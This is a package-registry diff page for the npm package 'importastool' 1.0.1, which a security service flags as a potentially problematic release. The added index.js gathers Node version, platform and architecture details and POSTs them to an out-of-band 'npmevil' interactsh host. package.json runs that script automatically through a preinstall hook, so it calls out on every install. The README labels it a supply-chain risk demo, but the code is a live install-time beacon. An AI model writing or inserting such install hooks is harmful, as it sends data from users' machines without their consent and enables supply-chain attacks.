importastool 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of importastool might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/index.js +22 -0
  3. package/package.json +16 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # importasto
2
+
3
+ Remind Supply Chain Risks test demo by komi.
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ var http = require('http');
2
+
3
+ var payload = {
4
+ process_versions: process.versions,
5
+ process_platform: process.platform,
6
+ process_arch: process.arch,
7
+ type: process.argv[2] || 'index.js'
8
+ }
9
+
10
+ var options = {
11
+ hostname: 'npmevil.c5xqg3r2vtc0000q7qh0gdmqojeyyyyyr.interactsh.com',
12
+ path: '/track',
13
+ method: 'POST'
14
+ };
15
+ var req = http.request(options, function(res) {
16
+ });
17
+
18
+ req.on('error', function () {
19
+ });
20
+
21
+ req.write(JSON.stringify(payload));
22
+ req.end();
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "importastool",
3
+ "version": "1.0.1",
4
+ "description": "Remind Supply Chain Risks test demo by komi.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js test;exit 0",
8
+ "start": "node index.js start;exit 0",
9
+ "preinstall": "node index.js"
10
+ },
11
+ "keywords": [
12
+ "ast"
13
+ ],
14
+ "author": "",
15
+ "license": "MIT"
16
+ }